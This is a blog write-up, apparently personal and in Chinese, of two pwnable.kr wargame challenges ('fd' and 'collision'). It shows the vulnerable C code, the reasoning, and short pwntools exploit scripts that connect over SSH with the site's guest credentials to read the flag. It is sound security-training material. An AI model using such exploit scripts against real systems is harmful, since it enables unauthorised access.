Damn1t
for you I bleed myself dry
FRIENDS
baidu

pwnable.kr(1-2)

2018-09-08 pwn

pwnable.kr(1-2)

fd

第一题ssh连接之后给出如下代码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
//argc是命令行参数个数(必为int类型),char*argv[]是指所有命令行参数,char *envp[]是环境变量
//argv参数是字符串指针数组,其各元素值为命令行中各字符串的首地址,指针数组的长度即为参数个数

    if(argc<2){
        printf("pass argv[1] a number\n");
        return 0;
    }
    int fd = atoi( argv[1] ) - 0x1234;
    //atoi函数将字符串转化成整形
    //fd文件描述符,只是一个整数
    int len = 0;
    len = read(fd, buf, 32);
    /*read()会把参数fd所指的文件传送count个字节到buf指针所指的内存中。若参数count为0,则read()不会有作用并返回0。
    返回值为实际读取到的字节数,如果返回0,表示已到达文件尾或是无可读取的数据,此外文件读写位置会随读取到的字节移动*/
    if(!strcmp("LETMEWIN\n", buf)){
        printf("good job :)\n");
        system("/bin/cat flag");
        exit(0);
    }
    printf("learn about Linux file IO\n");
    return 0;

}

这题的重点在题目中也提示了->fd
通过查阅资料了解到fd就是File descripter也就是文件描述符,维基上有如下解释:In Unix and related computer operating systems, a file descriptor (FD, less frequently fildes) is an abstract indicator (handle) used to access a file or other input/output resource, such as a pipe or network socket.
所以fd是在UNIX及其相关联系统上才有的,fd为一个非负整数,他的0,1,2代表了不同的含义

回到原题,关键要满足:buf=LETMEWIN,所以要输入LETMEWIN就要使int fd = atoi( argv[1] ) - 0x1234;中的fd为0,因为0x1234=4660(int),因此在终端输入./fd 4660然后再写入LETMEWIN即可
再给出一个exp:

from pwn import *
pwn_ssh=ssh(host='pwnable.kr',user='fd',password='guest',port=2222)
print (pwn_ssh.connected())
sh=pwn_ssh.process(argv=['fd','4660'],executable='./fd')
sh.sendline("LETMEWIN")
print (sh.recvall())

collision

老规矩查看代码:

#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
    int* ip = (int*)p;
    int i;
    int res=0;
    for(i=0; i<5; i++){
        res += ip[i];
    }
    return res;
}

int main(int argc, char* argv[]){
/*前者可接受 命令行参数,argc表示参数个数, argv[]是参数数组,其中第0个参数是程序本身的名称(包含路径)。
argv[]是一个字符数组.
argv[0]:指向程序的全路径名
argv[1]:指向在DOS命令行中执行程序名后的第一个字符串。
argv[2]:指向第二个字符串。
*/

    if(argc<2){
        printf("usage : %s [passcode]\n", argv[0]);
        return 0;
    }
    if(strlen(argv[1]) != 20){
        printf("passcode length should be 20 bytes\n");
        return 0;
    }

//
//参数至少两个,hashcode=input
    if(hashcode == check_password( argv[1] )){
        system("/bin/cat flag");
        return 0;
    }
    else
        printf("wrong passcode.\n");
    return 0;
}

思路很明显:输入参数20个字节,最后res的值在5次循环相加之后要满足等于0x21DD09EC,还要说明的一点是int占4个字节,char占1个字节,因此int* ip = (int*)p;这里就将passcode分成了有5个参数的数组,所以随便输入一个hex(0x21DD09EC-0x01020304*4)得到0x1dd4fddc,于是在终端输入
./col $(python -c 'print "\xdc\xfd\xd4\x1d"+4*"\x04\x03\x02\x01"')
最终得到答案
有一点要说的是python -c,python给出的解释是:

-c cmd : program passed in as string (terminates option list)

给出exp:

from pwn import *
import os

pwn_ssh=ssh(host='pwnable.kr',user='col',password='guest',port=2222)
print (pwn_ssh.connected())

sh=pwn_ssh.process(argv=['collision','\xfc\x01\xf9\x39' * 5],executable='./col')
print (sh.recvall())

Author: damn1t

Link: http://microvorld.com/2018/09/08/pwn/pwnable1/

Copyright: All articles in this blog are licensed under CC BY-NC-SA 3.0 unless stating additionally.

< PreviousPost
由Musee de X(强网杯2017)到jinja2模板注入
NextPost >
php反序列化漏洞
CATALOG
  1. 1. pwnable.kr(1-2)
    1. 1.1. fd
    2. 1.2. collision